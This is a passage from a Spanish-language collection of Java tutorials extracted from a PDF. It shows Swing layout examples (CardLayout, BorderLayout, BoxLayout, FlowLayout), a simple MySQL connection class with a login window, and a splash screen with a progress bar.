public static void main (String [] inforux){new WindowCardLayout();

}

}

 Aqui el fuente ControlCardLAyout  

import java.awt.event.ActionEvent;import java.awt.event.ActionListener;

public class ControlCardLayout implements ActionListener{

WindowCardLayout ventana;public ControlCardLayout( WindowCardLayout frame){

ventana = frame ;}

public void actionPerformed (ActionEvent evento){if (evento.getSource()==ventana.combo){if (ventana.combo.getSelectedIndex()==0){

ventana.cardLayout.show(ventana.panelInferior, "panel1");}if (ventana.combo.getSelectedIndex()==1){

ventana.cardLayout.show(ventana.panelInferior, "panel2");}if (ventana.combo.getSelectedIndex()==2){

ventana.cardLayout.show(ventana.panelInferior,"panel3");}}

}}

Listo una compilada y ejecutamos

$ javac WindowCardLayout.java$ java WindoCardLayout

Page 153: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 153/169

El resultado sera asi:

JAVA: Practicando con BorderLayout 

Seguimos con los layouts. Recordar que para entender este ejemplo es necesario chekear las

anteriores explicaciones sobre FlowLayout y BoxLayoutLayout 

BorderLayout, es un layout que ubica los componentes en cualquiera de sus 5 regiones quetiene..

Un componente podemos ubicarlo arriba, abajo, izquierda o a la derecha.

Page 154: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 154/169

 

Para establecer a BorderLayout como manegador de Disenio,

JFrame frame = new JFrame();frame.setLayout(new BorderLayout());

Luego para agregar los componentes

frame.add(etiqeuta, BorderLayout.CENTER);frame.add(botonIzquierdo,BorderLayout.WEST);frame.add(botonDerecho,BorderLayout.EAST);frame.add(cajaTexto,BorderLayout.NORTH);frame.add(panelInferior,BorderLayout.SOUTH);

No es obligatorio, llenar todas las regiones, en el caso de existir alguna region sincomponente, esta region visiblemente se anulara, es importante esto, ya que si enviamos uncomponente al centro, y no enviamos nada en la parte izquierda(WESTH), entonces, elcomponente enviado al centro se visaluizara en la parte WESTH.

En el ejemplo siguiente se tiene, un JFrame, este mismo los ordenara atravez de unBorLayout, En el norte, ira una JLabel, en el centro un JTextAre, y en el sur, este y eloeste un panel para cada region.

Cada panel, ubicara sus componentes de la forma que noosotros queramos, en este caso eldel sur, atravez de un flowLayout, y el de este y oeste con un BoxLayout.

Aqui el demo

import java.awt.BorderLayout;import java.awt.Color;import java.awt.Container;import java.awt.FlowLayout;import java.awt.Font;import javax.swing.BoxLayout;import javax.swing.JButton;import javax.swing.JFrame;

Page 155: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 155/169

import javax.swing.JLabel;import javax.swing.JPanel;import javax.swing.JScrollPane;import javax.swing.JTextArea;import javax.swing.JTextField;import javax.swing.WindowConstants;

public class DemoBorderLayout {//variables y comtenedoresprivate JLabel etiquetaSu;private JPanel panelIzquierdo, panelDerecho, panelInferior;private JButton botonIz1, botonIz2, botonIz3;private JButton botonDe1, botonDe2, botonDe3;private JButton botonIn1, botonIn2;private JScrollPane scroll;

public void contruyePanelIzquierdo(){panelIzquierdo = new JPanel();botonIz1=new JButton("Izq1");botonIz2=new JButton("Izq2");

botonIz3=new JButton("Izq3");panelIzquierdo.setLayout(newBoxLayout(panelIzquierdo,BoxLayout.Y_AXIS));

panelIzquierdo.setBackground(Color.red);panelIzquierdo.add(botonIz1);panelIzquierdo.add(botonIz2);panelIzquierdo.add(botonIz3);

}

public void contruyePanelDerecho(){panelDerecho = new JPanel();botonDe1=new JButton("Der1");botonDe2=new JButton("Der2");botonDe3=new JButton("Der3");panelDerecho.setLayout(new

BoxLayout(panelDerecho,BoxLayout.Y_AXIS));panelDerecho.setBackground(Color.blue);panelDerecho.add(botonDe1);panelDerecho.add(botonDe2);panelDerecho.add(botonDe3);

}

public void contruyePanelInferior(){panelInferior = new JPanel();botonIn1=new JButton("Aceptar");botonIn2=new JButton("Cancelar");panelInferior.setLayout(new FlowLayout());

panelInferior.setBackground(Color.green);panelInferior.add(botonIn1);panelInferior.add(botonIn2);

}

public void contruyeVentana(){JFrame frame = new JFrame();scroll = new JScrollPane(new JTextArea("JTextArea",10,15));etiquetaSu = new JLabel("Demostracion por INFORUX ");Font aux=etiquetaSu.getFont();

Page 156: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 156/169

etiquetaSu.setFont(new Font(aux.getFontName(), aux.getStyle(),20));

frame.setLayout(new BorderLayout());

//agregamos los paneles al frame principalframe.add(etiquetaSu,BorderLayout.NORTH);frame.add(scroll, BorderLayout.CENTER);frame.add(panelIzquierdo,BorderLayout.WEST);frame.add(panelDerecho,BorderLayout.EAST);frame.add(panelInferior,BorderLayout.SOUTH);//Configuramos el frameframe.pack();frame.setVisible(true);frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);

}

public DemoBorderLayout(){contruyePanelInferior();contruyePanelIzquierdo();contruyePanelDerecho();

contruyeVentana();}

public static void main (String [] inforux){new DemoBorderLayout();

}}

Compilamos y ejecutamos.

$javac DemoBorderLayout.java$java DemoBorderLayout

El resultador ser asi

Page 157: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 157/169

 

En esta interfaz de usuario, solo se empleo los layouts, explicados FlowLayout, BoxLayouty BorderLayout.

Sencillo.

PD: La API completa de BorderLayout 

JAVA: Practicando con BoxLayout 

BoxLayout, es un Layout recontra parecido al FlowLayout, cual es la diferencia? es simple,FlowLayout ubica todos los componentes solo de forma horizontal, mientras queBoxLayout los ubica, tanto horizontal como vertical.

Para crear una clase BoxLayout, necesitamos 2 argumentos: el objeto contenedor, y la claseque indica la forma de como ordenara los componetes,.

BoxLayout.X_AXIS —– Forma Horizontal

BoxLayout.Y_AXIS —– Forma Vertical

JFrame frame = new JFrame();frame.setLayout(new BoxLayout(frame,BoxLayout.X_AXIS));

Luego para agregar los componentes es simple, lo mismo como hicimos con FlowLayout.

JButton boton = new JButton("Aceptar");frame.add(boton);

Page 158: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 158/169

Aqui tengo un ejemplo, sobre una clasica ventana de logueo, cabe destacar q para esteejemplo demostrativo, solo me limite a usar BoxLayout.

La idea general, es crear un JFrame geeneral, el cual tendra 3 paneles y una etiqueta,Estos estaran ordenados con BoxLayout en forma vertical.

Cada panel tendran cajas de textos y etiquetas. Estos estaran ordenados con BoxLayout enforma horizontal.

import javax.swing.BoxLayout;import javax.swing.JTextField;import javax.swing.JPanel;import javax.swing.JLabel;import javax.swing.JFrame;import javax.swing.JButton;import javax.swing.JPasswordField;import javax.swing.WindowConstants;

public class DemoBoxLayout{private JPanel panelSuperior, panelMedio, panelInferior;private JLabel etiqueta1, etiqueta2, etiqueta3;private JTextField cajaTexto;private JPasswordField cajaPass;private JButton botonAceptar, botonCancelar;private JFrame frame;

public void construyePanelSuperior(){panelSuperior =new JPanel();etiqueta2= new JLabel("Usuario");cajaTexto = new JTextField(10);panelSuperior.setLayout(new BoxLayout(panelSuperior,

BoxLayout.X_AXIS));panelSuperior.add(etiqueta2);panelSuperior.add(cajaTexto);

}

public void construyePanelMedio(){panelMedio=new JPanel();etiqueta3= new JLabel("Password");cajaPass = new JPasswordField(10);panelMedio.setLayout(new BoxLayout(panelMedio,

BoxLayout.X_AXIS));panelMedio.add(etiqueta3);panelMedio.add(cajaPass);

}

public void construyePanelInferior(){panelInferior=new JPanel();botonAceptar=new JButton("Aceptar");botonCancelar=new JButton("Cancelar");panelInferior.setLayout(new BoxLayout(panelInferior,

BoxLayout.X_AXIS));panelInferior.add(botonAceptar);panelInferior.add(botonCancelar);

}

Page 159: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 159/169

 public void construyeVentana(){

frame = new JFrame();etiqueta1 = new JLabel("Demo por inforux");frame.setLayout(new BoxLayout(frame.getContentPane(),

BoxLayout.Y_AXIS) );frame.add(etiqueta1);frame.add(panelSuperior);frame.add(panelMedio);frame.add(panelInferior);frame.pack();frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);frame.setVisible(true);

}

public DemoBoxLayout(){construyePanelSuperior();construyePanelMedio();construyePanelInferior();construyeVentana();

}

public static void main (String [] inforux){new DemoBoxLayout();

}}

Compilamos y ejecutamos

$javac DemoBoxLayout.java$java DemoBoxLayout

El resultado final sera:

Para esta interface de usuario, solo se limito a usar BoxLayout, ya q es un ejemplodemostrativo.

PD: La API completa de BoxLayout 

Page 160: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 160/169

JAVA: Practicando con FlowLayout 

Continuando con los layouts, es que en esta oportunidad, tocaremos al mas facil de usar,

El FlowLayout, es aquel layout q ubica a todos los componentes en forma horizontal, en el

orden q le digamos.

Primero tenemos que crear el contenedor(JFrame, JPanel, etc), y luego atravez del metodo―setLayout()‖ asignarle el layout correspondiente. 

JFrame frame = new JFrame();frame.setLayout(new FlowLayout());

Una vez, asiganado el layout al contenedor, tendremos q agregar los componentes,plenamente ya declarados y creados.

JButton boton = new JButton("Aceptar");frame.add(boton);

Hecho esto, el contenedor mismo, los ubicara en el centro(por defecto). Si queremos queempieze de derecha a izquierda o izquierda a derecha o en el centro, se lo decimos.

frame.setLayout(new floLayout(FlowLayout.CENTER));frame.setLayout(new floLayout(FlowLayout.RIGHT));frame.setLayout(new floLayout(FlowLayout.LEFT));

Aqui un jemplo:

import java.awt.FlowLayout;import javax.swing.JButton;import javax.swing.JLabel;import javax.swing.JTextField;import javax.swing.WindowConstants;import javax.swing.JFrame;

/*demostracion por inforux*/public class DemoFlowLayout {

private JButton botonEnviar;private JTextField cajaTexto;private JLabel etiqueta;

public void construyeVentana(){//creamos la ventana y asignamos el layoutJFrame frame = new JFrame();frame.setLayout(new FlowLayout());

//Creamos los componentes a utilizarbotonEnviar = new JButton("Enviar");cajaTexto = new JTextField(12);etiqueta= new JLabel("Escribe tu nombre");

//Aniadimos los componentes a la ventana

Page 161: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 161/169

frame.add(etiqueta);frame.add(cajaTexto);frame.add(botonEnviar);

//algunas configuraciones de la ventanaframe.pack();frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);frame.setVisible(true);

}public DemoFlowLayout(){//constructor de la clase

construyeVentana();}

public static void main ( String [] Inforux){new DemoFlowLayout();

}}

Luego compilamos y ejecutamos

$javac DemoFlowLayout.java$java DemoFlowLayout

El resultado sera asi:

Como ven, la misma ventana siempre ubicara a los componentes de la mejor manera..

PD: La API completa de FlowLayout 

Luego seguimos con el resto de layouts.

JAVA: Empezando con Layouts 

Tiempo atraz acostumbraba a implementar mis GUIs de JAVA atravez de setBouns(), esmuy facil hacerlo, pueden verlo ustedes en los antiguos tutoriales q ofreci.

Sim embargo, tenia un serio problema, y es que al ser implementado en mi portatil, cuandolo terminaba y lo ejecutaba en una computadora de escritorio con linux, o windows, toda la

Page 162: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 162/169

interfas de usuario q tan bonita habia quedado en mi portatil, ahora estaba totalmentedesproporcinada y fea. Porque ocurrio esto? la respuesta es sencilla, el metodo setBouns()fija el componente swing en una coordenada XY especifica de la ventana y esta asu vez a lapantalla del monitor donde esta implementandose.

setBouns(), es facil de usar, pero tiene desventajas, cuando intentamos ejecutarlo endiferentes computadoras donde el tamanio de la ventana es diferente, y el SO tambien.

Entonces por eso es necesario (yo diria OBLIGATORIO) el aprendizaje de los layouts, yaque estos ajustan los componente swing (JButton, JTextField, etc) con relacion a laVentana mas no al tamanio de la pantalla, esto es fundamental ya que permite la ejecucionde la aplicacion en cualquier computadora y SO, sin que la interfaz de usuario se veaafectada, mucho menos tener botones cortados, o letras q no caben.

ventana.setLayout(new LayoutRequerido());

Con un layout adecuado, y ademas agregando el método pack() a la ventana, permitira queobtenga el tamaño justo,para visualizar todos los componentes.

ventana.pack();

Los layouts mas conocidos, necesarios y los cual explicare mas adelante son:

FlowLayout, BoxLayout, BorderLayout, GridLayout, GridBagLayout

En el caso de no queder usar Layouts, se especifica con

ventana.setLayout(null);

Luego Seguimos. Saludos

Conectar MySQL desde JAVA 

Bueno aprovechando lo aprendido en mis aplicaciones de escritorio, en esta oportunidadmostrare, una forma simple y segura de conectar una Base de Datos MySQL atravez deaplicaciones JAVA

Para empesar tenemos q tener creada o crear nuestra DB. Aqui es script

CREATE DATABASE IF NOT EXISTS DemoConexion;USE DemoConexion;DROP TABLE IF EXISTS `DemoConexion`.`MiTabla`;CREATE TABLE `DemoConexion`.`MiTabla` ( `campo1` varchar(40) NOT NULL)ENGINE=InnoDB DEFAULT CHARSET=latin1;

Page 163: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 163/169

La idea es tener una clase solamente para nuestra Conexion(Conexion), y otraclase(WindowConexion) q sirva para ingresar los datos, asi la clase Conexion podremosutilizarla por el resto de la aplicacion, con una simple llamado.

1.- Implementamos la clase donde podremos ingresar el usuario y contrase;a, es decir la

ventana…jje esta ventana tendra 2 jTextFile, y un boton aceptar, este mismo se le agregaun objeto de la clase ActionListener, para q siempre este escuchando, la interaccion con elusuario. aqui el fuente:

import java.awt.event.*;import javax.swing.*;class WindowConexion extends javax.swing.JFrame implements ActionListener{

java.awt.Dimension screenSize =java.awt.Toolkit.getDefaultToolkit().getScreenSize();

public WindowConexion()/*metodo constructor*/{

initComponents();

centrar();}

public void centrar(){/*metodo para centrar la ventana*/this.setBounds((screenSize.width/2)-(this.getWidth()/2),(screenSize.height/2)-(this.getHeight()/2), this.getWidth(),this.getHeight());

}

private void initComponents() {setTitle("Demostracion MySQL - JAVA");jLabel1 = new JLabel();jLabel2 = new JLabel();jTFUsuario = new JTextField();jLabel4 = new JLabel();jButton1 = new JButton();jPFContraseña = new JPasswordField();jLError = new JLabel();jlSalida=new JLabel();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);setResizable(false);getContentPane().setLayout(null);

jLabel1.setForeground(new java.awt.Color(102, 102, 102));jLabel1.setText("Demo por Inforux");

jLabel1.setToolTipText("Demo Conexion MySQL by inforux");getContentPane().add(jLabel1);jLabel1.setBounds(30, 40, 150, 20);

jLabel2.setText("User");getContentPane().add(jLabel2);jLabel2.setBounds(40, 100, 38, 14);

getContentPane().add(jTFUsuario);jTFUsuario.setBounds(110, 100, 100, 18);

Page 164: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 164/169

 jLabel4.setText("Password");getContentPane().add(jLabel4);jLabel4.setBounds(40, 120, 100, 14);

jlSalida.setText("");getContentPane().add(jlSalida);jlSalida.setBounds(40, 140, 150, 14);

jButton1.setText("Aceptar");getContentPane().add(jButton1);jButton1.setBounds(80, 180, 100, 24);getContentPane().add(jPFContraseña);jPFContraseña.setBounds(110, 120, 80, 18);

jLError.setForeground(java.awt.Color.gray);getContentPane().add(jLError);jLError.setBounds(50, 150, 130, 0);

java.awt.Dimension screenSize =

java.awt.Toolkit.getDefaultToolkit().getScreenSize();setBounds((screenSize.width-255)/2, (screenSize.height-255)/2,290, 255);

jButton1.addActionListener(this);//agrego mi objeto escucha}public void actionPerformed(ActionEvent evento) //programos los

eventos{

if (evento.getSource()== jButton1){//pregunto si la accion vienedel boton aceptar

try {if (Conexion.conectar())jlSalida.setText("Conexion Exitosa");}

catch (Exception ex){System.out.println(ex);}}

}

public static void main(String args[]){

new WindowConexion().setVisible(true);}

public static javax.swing.JButton jButton1;public static javax.swing.JLabel jLError;private javax.swing.JLabel jLabel1;private javax.swing.JLabel jLabel2;

private javax.swing.JLabel jLabel4;public static javax.swing.JPasswordField jPFContraseña;public static javax.swing.JTextField jTFUsuario;public static javax.swing.JLabel jlSalida;

}

2.- si compilamos en este momento nos dira error, porq no existe la conexion,trankilos…jeje ahora iplementemos lo q nos interesa la clase Conexion.java,  

Page 165: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 165/169

Esta clase, declara variables para obtener el nombre del driver, el nombre de la base dedatos, login(para capturar lo q escribas en la caja de texto), password(igual, captura lacontrase;a ingresada),y sobre todo el importantisimo, el objeto ―conn‖ de la clase

Connection(este se podra llamar desde cualquier clase, ya sea para hacer consultas), aquiles va el fuente.

import java.sql.*;

public class Conexion{

public final static String bd = "DemoConexion";public final static String url="jdbc:mysql://localhost/"+bd;public final static String driver="com.mysql.jdbc.Driver";public static Connection conn = null;public static String login=WindowConexion.jTFUsuario.getText();public static String password

=WindowConexion.jPFContraseña.getText();

//metodo para conectar con la BD

public static boolean conectar() throws Exception{login=WindowConexion.jTFUsuario.getText();password =WindowConexion.jPFContraseña.getText();try{

Class.forName(driver).newInstance();conn = DriverManager.getConnection(url,login,password);if (conn != null)System.out.println("Conexión a

DB..."+url+"...Ok"+"...Usuario:..."+login);

return true;}

catch(SQLException ex){

System.out.println("Error al conectar con laDB..."+url+"...Usuario:..." +login );

return false;}

}//fin del metodo conectar}//fin de la clase

3.- Compilar( $ javac .*java) aparecera esta ventana:

Page 166: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 166/169

 

Como ve, no es nada del otro mundo, el asunto es crear una clase independiente delresto, lacual nos conectara, y a su vez nos dara la conecion(el objeto conn) en el momentooportuno, ya sea para realizar consultas.

Espero le sirva a mas de uno, ya que personalmente, en un principio me hizo sufrir muchoo.

Saludos.

Una Pantalla Cargando con Imagen para mi

Aplicacion JAVA 

Casi siempre , cuando ejecutamos alguna aplicacion(open office, gimp, amarok, froswire,etc), nos muestra una ventana indicando q la aplicacion esta cargando. entonces, hay casoscuando desarrollamos alguna aplicacion independiente del lenguaje, y deseamos q al iniciarnuestro programita, tambien muestre una ―pantalla de carga‖, eso en JAVA tambien es

posible.

Solo necesitamimos implementar un par de clases, y un archivo Imagen, la primera clase esla que dibujara la ventana y configurar la velocidad de carga, el dibujo en mi caso est,arriba la imagen, y debajo un scroll, pero es configurable( al gusto del usuario… jejee

mejor dicho del desarrolador), esta misma primera clase(PantallaCargando) hereda deJWindow, pero tambien puede heredar de JFrame, la diferencia creo q al momento decargar, jWindow, te permite ocultar a pantalla cargando, con solo un click, un mismoamarok… jFrame no. 

La velocidad de carga es confugurable, solo tienes q modificar el metodo―velocidadDeCarga‖, bueno, el resto del codigo creoq es muy facil interpretarlo, aqui el

fuente;

import javax.swing.*;import java.awt.*;

Page 167: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 167/169

/*DEMO POR INFORUX*/public class PantallaCargando extends JWindow {BorderLayout borderLayout1 = new BorderLayout();JLabel imageLabel = new JLabel();JPanel southPanel = new JPanel();FlowLayout southPanelFlowLayout = new FlowLayout();JProgressBar progressBar = new JProgressBar();ImageIcon imageIcon;

public PantallaCargando(ImageIcon imageIcon) {this.imageIcon = imageIcon;dibujaVentana();

}

public void dibujaVentana() {imageLabel.setIcon(imageIcon);this.getContentPane().setLayout(borderLayout1);southPanel.setLayout(southPanelFlowLayout);southPanel.setBackground(Color.BLACK);this.getContentPane().add(imageLabel, BorderLayout.CENTER);

this.getContentPane().add(southPanel, BorderLayout.SOUTH);southPanel.add(progressBar, null);this.pack();

}

public void setProgresoMax(int maxProgress){progressBar.setMaximum(maxProgress);}

public void setProgreso(int progress){final int progreso = progress;

progressBar.setValue(progreso);}

public void setProgreso(String message, int progress){final int progreso = progress;final String theMessage = message;setProgreso(progress);progressBar.setValue(progreso);setMessage(theMessage); }

private void setMessage(String message){

if (message==null){message = "";progressBar.setStringPainted(false);}

else{progressBar.setStringPainted(true);}

progressBar.setString(message); }

public void velocidadDeCarga(){for (int i = 0; i <= 100; i++){

for (long j=0; j<100000; ++j)//modifica el numero segun la velidadq desees

Page 168: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 168/169

{String poop = " " + (j + i);

}setProgreso("" + i, i); // si quieres q muestre los numeros y un

mensaje//setProgreso(i); //si no quieres q muestre nada, solo la

barra}dispose();}

}

La segunda clase(PantallaCargandoMain), en otras palabras no es mas q la clase q llama alprimero creando un objeto de la primera(PantallaCargando), y aplicandoles los metodos,OJO q en el metodo ―inicioPantalla‖. hay q darle la ruta de la imagen q deseamos. en mi

caso hay una carpeta con el nombre ―imagen‖, y dentro de ella esta la imagen fisica. 

import javax.swing.UIManager;import javax.swing.ImageIcon;

public class PantallaCargandoMain {

PantallaCargando screen;

public PantallaCargandoMain() {inicioPantalla();

screen.velocidadDeCarga();}

private void inicioPantalla() {ImageIcon myImage = new ImageIcon("imagen/java.gif");screen = new PantallaCargando(myImage);

screen.setLocationRelativeTo(null);screen.setProgresoMax(100);screen.setVisible(true);

}

public static void main(String[] args){new PantallaCargandoMain();

}}

Ahora, puedes compilar (javac PantallaCargandoMain.java) y debe funcionar, o agregarestas 2 clases en la carpeta de tu aplicacion, y en la clase q inicias tu aplicacion, en el

metodo ―main‖ de tu proyecto, incluye solo una linea; 

new PantallaCargandoMain();

Y listo.

Aqui un pantallazo